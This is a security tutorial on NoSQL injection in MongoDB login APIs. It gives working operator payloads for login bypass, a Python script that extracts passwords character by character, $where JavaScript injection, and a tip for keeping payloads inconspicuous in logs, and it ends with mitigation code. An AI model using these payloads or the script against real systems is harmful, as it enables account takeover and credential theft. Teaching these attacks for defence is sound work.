What is NoSQL Injection?
Unlike SQL, NoSQL databases like MongoDB don't use text-format queries. Instead, they use JavaScript/JSON objects that can be manipulated to alter query logic.
Key Difference from SQL Injection
- SQL: You inject strings like
' OR '1'='1 - NoSQL: You inject objects like
{"$ne": null}
Many developers believe that using MongoDB makes them "protected" from injection, but this is a dangerous myth.
1. Login Bypass with Operators
Vulnerable Scenario
An API that receives credentials in JSON and passes them directly to MongoDB:
// Vulnerable API endpoint
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
// ❌ DANGER: Passes user input directly
const user = await db.collection('users').findOne({
username: username,
password: password
});
if (user) {
res.json({ success: true, token: generateToken(user) });
} else {
res.json({ success: false });
}
});Why is it vulnerable?
Attack Payload: $ne Operator (Not Equal)
Instead of sending normal strings, we send objects with MongoDB operators:
// Normal request (legitimate)
POST /api/login HTTP/1.1
Content-Type: application/json
{
"username": "admin",
"password": "secretpass123"
}
// Malicious request (attack)
POST /api/login HTTP/1.1
Content-Type: application/json
{
"username": "admin",
"password": {"$ne": null}
}🔓 How does it work?
The payload {"$ne": null} translates to:
// Resulting MongoDB query
db.collection('users').findOne({
username: "admin",
password: { $ne: null } // ← "password NOT EQUAL to null"
});
// This means: "Give me user 'admin' whose password is NOT null"
// And virtually ALL passwords meet that condition!Result: Successful login without knowing the actual password.
Other Useful Operators for Bypass
// $gt (greater than)
{
"username": "admin",
"password": {"$gt": ""}
}
// $regex - Regular expression that matches everything
{
"username": "admin",
"password": {"$regex": ".*"}
}
// $in - Password is in an array (always true)
{
"username": "admin",
"password": {"$in": ["admin", "password", "123456", "", null]}
}
// $exists - Password field exists
{
"username": "admin",
"password": {"$exists": true}
}Stealthier payload
$gt with empty string operator is less suspicious in logs than $ne null, because it looks like a "normal" comparison.2. Data Extraction with $regex
Scenario: Exfiltrate Passwords Character by Character
Using regular expressions, we can extract data bit by bit, similar to Time-blind SQL Injection but based on boolean responses.
// Does admin's password start with 'a'?
{
"username": "admin",
"password": {"$regex": "^a"}
}
// Does it start with 'b'?
{
"username": "admin",
"password": {"$regex": "^b"}
}
// ... Continue until finding the correct characterAutomation Script (Python)
import requests
import string
URL = "https://target.com/api/login"
CHARSET = string.ascii_lowercase + string.digits + "_@.-!#$%"
PASSWORD = ""
print("[+] Starting password extraction for user 'admin'...")
# Extract each character
while True:
found = False
for char in CHARSET:
# Build regex to test next character
regex = f"^{PASSWORD}{char}"
payload = {
"username": "admin",
"password": {"$regex": regex}
}
r = requests.post(URL, json=payload)
# If login successful, we found the character
if r.json().get("success"):
PASSWORD += char
print(f"[+] Char found: {char} → Current password: {PASSWORD}")
found = True
break
# If no more characters found, we're done
if not found:
break
print(f"\n[✓] Complete password extracted: {PASSWORD}")Optimization: Case-insensitive regex
$options operator with value i to make the search case-insensitive and speed up the process.Extracting Multiple Users
// Users starting with 'a'
{
"username": {"$regex": "^a"},
"password": {"$ne": null}
}
// Exact 5-character usernames
{
"username": {"$regex": "^.{5}$"},
"password": {"$ne": null}
}
// Users containing 'admin'
{
"username": {"$regex": "admin", "$options": "i"},
"password": {"$ne": null}
}3. Advanced Operators
$where - JavaScript Injection
The $where operator allows executing arbitrary JavaScript codein the MongoDB server context. Extremely dangerous if not filtered.
// Login bypass with JavaScript code
{
"username": "admin",
"$where": "return true"
}
// Extract password character by character
{
"username": "admin",
"$where": "this.password.substring(0,1) == 'p'"
}
// Sleep-based (Time-blind NoSQL)
{
"username": "admin",
"$where": "sleep(5000) || true"
}Critical impact
$where you can:- Execute arbitrary JavaScript on server
- Access
this(current document) - Cause DoS with infinite loops
- Exfiltrate sensitive data
$lookup - Server-Side Join Injection
// Try to join with 'admin_keys' collection
{
"$lookup": {
"from": "admin_keys",
"localField": "_id",
"foreignField": "user_id",
"as": "secrets"
}
}$expr - Complex Comparisons
// Bypass when username == password
{
"$expr": {
"$eq": ["$username", "$password"]
}
}
// Detect documents with specific fields
{
"$expr": {
"$gt": [{"$strLenCP": "$password"}, 10]
}
}4. Bypassing Common Validations
Type Checking Bypass
Some developers validate "if it's a string", but forget to validate nested objects:
// Validation attempt (INSUFFICIENT)
if (typeof username === 'string' && typeof password === 'string') {
const user = await db.collection('users').findOne({
username: username,
password: password
});
}
// ❌ Problem: Doesn't validate OBJECTS like {"$ne": null}// Nested object injection
{
"username": "admin",
"password": {
"$ne": null
}
}
// The typeof password will be 'object', but some frameworks
// automatically convert it before the checkBypass via URL Parameters
GET /api/login?username=admin&password[$ne]=null HTTP/1.1
// Some frameworks parse this as:
{
"username": "admin",
"password": {
"$ne": null
}
}Vulnerable frameworks
qs library (default) parsespassword[$ne]=null as an object.Mitigation for Developers
How to prevent NoSQL Injection
- Input Sanitization: Reject objects, only accept primitive strings/numbers
- Whitelist Validation: Validate that inputs don't contain $ characters (operators)
- Strict Type Checking: Verify types recursively in nested objects
- Disable $where: Configure MongoDB to block $where operator
- Hash Passwords: NEVER compare passwords in plaintext, use bcrypt/argon2
const validator = require('validator');
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
// ✅ Validate they are primitive strings
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input type' });
}
// ✅ Reject $ characters (MongoDB operators)
if (username.includes('$') || password.includes('$')) {
return res.status(400).json({ error: 'Invalid characters' });
}
// ✅ Validate format (optional but recommended)
if (!validator.isAlphanumeric(username)) {
return res.status(400).json({ error: 'Invalid username format' });
}
// ✅ Compare with hash, NOT plaintext
const user = await db.collection('users').findOne({ username });
if (user && await bcrypt.compare(password, user.passwordHash)) {
res.json({ success: true, token: generateToken(user) });
} else {
res.json({ success: false });
}
});// Helper to sanitize MongoDB inputs
function sanitizeMongoInput(obj) {
if (typeof obj !== 'object' || obj === null) {
return obj;
}
const sanitized = {};
for (const [key, value] of Object.entries(obj)) {
// Reject keys starting with $ (operators)
if (key.startsWith('$')) {
throw new Error(`Invalid key: ${key}`);
}
// Sanitize recursively
if (typeof value === 'object' && value !== null) {
sanitized[key] = sanitizeMongoInput(value);
} else {
sanitized[key] = value;
}
}
return sanitized;
}
// Usage
app.post('/api/data', async (req, res) => {
try {
const sanitized = sanitizeMongoInput(req.body);
const result = await db.collection('data').find(sanitized).toArray();
res.json(result);
} catch (error) {
res.status(400).json({ error: error.message });
}
});